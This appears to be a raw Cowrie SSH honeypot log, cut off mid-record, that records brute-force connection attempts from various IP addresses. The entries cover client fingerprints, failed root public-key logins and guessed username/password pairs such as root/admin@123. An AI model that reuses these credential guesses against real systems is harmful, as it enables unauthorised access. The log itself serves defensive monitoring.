{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:36:73:5a:a6:de:60:e9:95:29:47:08:15:ec:8f:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSrl3KmtQGNrkHji+9IHeEDNLF+x4R/xIqnrz3YweEZnEu+sVDNu7169Mr2SpsbUDVmrvItpmeDXZf659k1YUeDjx3MWoF1wZJsnd5BjOmsTbeAfi6EvRri9pOvHqj+Qszfe2QG/vBkpR5X4Rzi+80hLeDuVJAWjZf76uzo5a5fq0hFpYnWgD1zaj86zMbsao9+ZLgil858zsC5j/UDF7Ijr7vMAMBawajVDS6IycqmEgfvJh7nAMLeomstYUsrIK8XweMeJ2kW9SZz8JkPF2KUMcLA6dDdmHksFVCbcN8K0+9kfG1JaA0wZJpIODuFs8lDgAKbUoqB9zBkLHpv0bD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:36:73:5a:a6:de:60:e9:95:29:47:08:15:ec:8f:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.561020Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:36:73:5a:a6:de:60:e9:95:29:47:08:15:ec:8f:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSrl3KmtQGNrkHji+9IHeEDNLF+x4R/xIqnrz3YweEZnEu+sVDNu7169Mr2SpsbUDVmrvItpmeDXZf659k1YUeDjx3MWoF1wZJsnd5BjOmsTbeAfi6EvRri9pOvHqj+Qszfe2QG/vBkpR5X4Rzi+80hLeDuVJAWjZf76uzo5a5fq0hFpYnWgD1zaj86zMbsao9+ZLgil858zsC5j/UDF7Ijr7vMAMBawajVDS6IycqmEgfvJh7nAMLeomstYUsrIK8XweMeJ2kW9SZz8JkPF2KUMcLA6dDdmHksFVCbcN8K0+9kfG1JaA0wZJpIODuFs8lDgAKbUoqB9zBkLHpv0bD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.563774Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:dd:96:9f:49:6e:20:10:d8:62:37:22:ee:2b:ae:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuw9ctXCvabu2Fmmu1Q8O1IsXT+u/VQqP8MgVGyEHKZpqlIfA0EeQehDDpJMXe3Q49PhzxR/JQ6NBHBTbMLxoDphenCr2GeqxYCsngI0KA0zv+QmZqYAyC9W8o0x5G3YStg+EY/WkjubOdQ9tsccpULCbCuaBZ3c+E539MAQrvLZhSjxJOiX/rHQMo9UWKaRQOQ5YHTAxRjzsO8AG8sFpnPBlYe/NZR2MnEM3l1kn3vy95KuUlM1oNR+Bkr21en4m1vqyEN5ICCgH3tRjzuqI52BYhxgdWARIETXs2WQEiZoc2ZGbUAP6hi7AtkOf1QouTbhveNFTS2wLDg1GhzgzGW3bq1xOkexOiBqS4IyRyPa5mvcg1+pazNIhozPxBkD/PxDt5IjHCIpTu0upP7zFzyDzzJAEII7Zmpys69YpfMLqMW/mbSe0+iFGgcInvd0knTiZyTXU9Rg8B0YaNrX4bg1mkA5c+YD/0LNgPBACD8LtANJ/N/yxrWaPMO1l1kS8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:dd:96:9f:49:6e:20:10:d8:62:37:22:ee:2b:ae:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.645192Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:dd:96:9f:49:6e:20:10:d8:62:37:22:ee:2b:ae:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuw9ctXCvabu2Fmmu1Q8O1IsXT+u/VQqP8MgVGyEHKZpqlIfA0EeQehDDpJMXe3Q49PhzxR/JQ6NBHBTbMLxoDphenCr2GeqxYCsngI0KA0zv+QmZqYAyC9W8o0x5G3YStg+EY/WkjubOdQ9tsccpULCbCuaBZ3c+E539MAQrvLZhSjxJOiX/rHQMo9UWKaRQOQ5YHTAxRjzsO8AG8sFpnPBlYe/NZR2MnEM3l1kn3vy95KuUlM1oNR+Bkr21en4m1vqyEN5ICCgH3tRjzuqI52BYhxgdWARIETXs2WQEiZoc2ZGbUAP6hi7AtkOf1QouTbhveNFTS2wLDg1GhzgzGW3bq1xOkexOiBqS4IyRyPa5mvcg1+pazNIhozPxBkD/PxDt5IjHCIpTu0upP7zFzyDzzJAEII7Zmpys69YpfMLqMW/mbSe0+iFGgcInvd0knTiZyTXU9Rg8B0YaNrX4bg1mkA5c+YD/0LNgPBACD8LtANJ/N/yxrWaPMO1l1kS8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.648750Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:d3:06:e1:57:bd:8a:6e:7d:41:d4:4c:1c:09:39:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1GzgQqpoz3C4W+I6NqXI2dUyJ9jdv+TNyBgBq017uOYuw7Ex8rS/Gp6CzK5LUW3wLF6vNMoGjSzLiXX63wFstu7ko/OkCiC4Z2neIPuFBgvu3pZ117ie32bik/V747Ak7iuvPrmzV5rOSZ04aB4mUH0vBALXRL1y9kuVlA6KuLt+69oDRmf/LeFuEW9V6DHR21wyZUzI4G8mHkLGBoKj5RiQRiLp22p1z+vO7CtbaTPqTa8nF90yQDPvvoPsf0mXcBI1ODy8yF9HzfkLaXRzpbcxcYpU+1BjJkmtRpA36VpQ49SLbtMaXcYGKyftHY79Tgu8mP6U5+5AQCQirG44h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:d3:06:e1:57:bd:8a:6e:7d:41:d4:4c:1c:09:39:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.736098Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:d3:06:e1:57:bd:8a:6e:7d:41:d4:4c:1c:09:39:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1GzgQqpoz3C4W+I6NqXI2dUyJ9jdv+TNyBgBq017uOYuw7Ex8rS/Gp6CzK5LUW3wLF6vNMoGjSzLiXX63wFstu7ko/OkCiC4Z2neIPuFBgvu3pZ117ie32bik/V747Ak7iuvPrmzV5rOSZ04aB4mUH0vBALXRL1y9kuVlA6KuLt+69oDRmf/LeFuEW9V6DHR21wyZUzI4G8mHkLGBoKj5RiQRiLp22p1z+vO7CtbaTPqTa8nF90yQDPvvoPsf0mXcBI1ODy8yF9HzfkLaXRzpbcxcYpU+1BjJkmtRpA36VpQ49SLbtMaXcYGKyftHY79Tgu8mP6U5+5AQCQirG44h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.739891Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:c8:25:b9:f4:70:c8:13:1d:85:3b:1c:09:e2:7c:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhdJfHIZsWh8HFIBGJqtboiXd0a+2NG6yXLLmzxTnUJbQEdCzT/jziRIVhB7tKhZnEL/PJwkD8381EJGnf2O1FyZktaCV+PF0BUcrbhfYNRC3R4JuhmSpq+yVchFgEHfM+yNFOo2ZCY541G985Drn4DY9p0z8bEQZWlOcxgqPNs2b+Nk0BUpq2AlmmHnmmV3GITgHyYXpctPJc2Oi8/d66gvzfGVlcKA2sLu4+/0ju4DREb7/AFlIW3F9pd1TB0Nh9gtUxEhhUVntBnQKmx5XtlNnlG5Kyg5Iml1/elbtn4H7+d30tVmlYO8eSnN4kTC7cG/XJk8mIeH6KHaLQQHSZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:c8:25:b9:f4:70:c8:13:1d:85:3b:1c:09:e2:7c:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.827602Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:c8:25:b9:f4:70:c8:13:1d:85:3b:1c:09:e2:7c:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhdJfHIZsWh8HFIBGJqtboiXd0a+2NG6yXLLmzxTnUJbQEdCzT/jziRIVhB7tKhZnEL/PJwkD8381EJGnf2O1FyZktaCV+PF0BUcrbhfYNRC3R4JuhmSpq+yVchFgEHfM+yNFOo2ZCY541G985Drn4DY9p0z8bEQZWlOcxgqPNs2b+Nk0BUpq2AlmmHnmmV3GITgHyYXpctPJc2Oi8/d66gvzfGVlcKA2sLu4+/0ju4DREb7/AFlIW3F9pd1TB0Nh9gtUxEhhUVntBnQKmx5XtlNnlG5Kyg5Iml1/elbtn4H7+d30tVmlYO8eSnN4kTC7cG/XJk8mIeH6KHaLQQHSZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.830197Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:03.911803Z","src_ip":"62.210.246.122","session":"407ad06d0548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":41698,"dst_ip":"10.17.0.5","dst_port":22,"session":"18834af85097","protocol":"ssh","message":"New connection: 188.92.241.150:41698 (10.17.0.5:22) [session: 18834af85097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:10.428945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:10.432876Z","src_ip":"188.92.241.150","session":"18834af85097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:10.574213Z","src_ip":"188.92.241.150","session":"18834af85097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty00","message":"login attempt [root/Qwerty00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:11.175858Z","src_ip":"188.92.241.150","session":"18834af85097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:12.320481Z","src_ip":"188.92.241.150","session":"18834af85097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":43378,"dst_ip":"159.203.135.109","dst_port":22,"session":"719ab02feae9","protocol":"ssh","message":"New connection: 162.144.61.95:43378 (159.203.135.109:22) [session: 719ab02feae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:14.349191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:14.352497Z","src_ip":"162.144.61.95","session":"719ab02feae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:14.441621Z","src_ip":"162.144.61.95","session":"719ab02feae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xem","password":"xem123","message":"login attempt [xem/xem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:14.743867Z","src_ip":"162.144.61.95","session":"719ab02feae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:16.129745Z","src_ip":"162.144.61.95","session":"719ab02feae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.118.246","src_port":39930,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b59013f3433","protocol":"ssh","message":"New connection: 117.50.118.246:39930 (10.17.0.5:22) [session: 6b59013f3433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:19.332417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:19.335573Z","src_ip":"117.50.118.246","session":"6b59013f3433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:19.571302Z","src_ip":"117.50.118.246","session":"6b59013f3433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017!!!","message":"login attempt [root/unitedstates2017!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:20.281166Z","src_ip":"117.50.118.246","session":"6b59013f3433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:21.519309Z","src_ip":"117.50.118.246","session":"6b59013f3433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":4282,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b8187978dd","protocol":"ssh","message":"New connection: 178.128.39.166:4282 (159.203.135.109:22) [session: 08b8187978dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:23.160306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:23.173163Z","src_ip":"178.128.39.166","session":"08b8187978dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:23.301058Z","src_ip":"178.128.39.166","session":"08b8187978dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:23.798870Z","src_ip":"178.128.39.166","session":"08b8187978dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:24.913579Z","src_ip":"178.128.39.166","session":"08b8187978dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":38572,"dst_ip":"159.203.135.109","dst_port":22,"session":"63537a12438f","protocol":"ssh","message":"New connection: 87.251.79.125:38572 (159.203.135.109:22) [session: 63537a12438f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:31.700382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:31.704136Z","src_ip":"87.251.79.125","session":"63537a12438f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:31.774822Z","src_ip":"87.251.79.125","session":"63537a12438f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton1985","message":"login attempt [root/anton1985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:31.986605Z","src_ip":"87.251.79.125","session":"63537a12438f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":55010,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b1ae407511","protocol":"ssh","message":"New connection: 166.62.35.226:55010 (10.17.0.5:22) [session: b2b1ae407511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:32.998137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:33.000900Z","src_ip":"166.62.35.226","session":"b2b1ae407511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:33.062639Z","src_ip":"87.251.79.125","session":"63537a12438f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh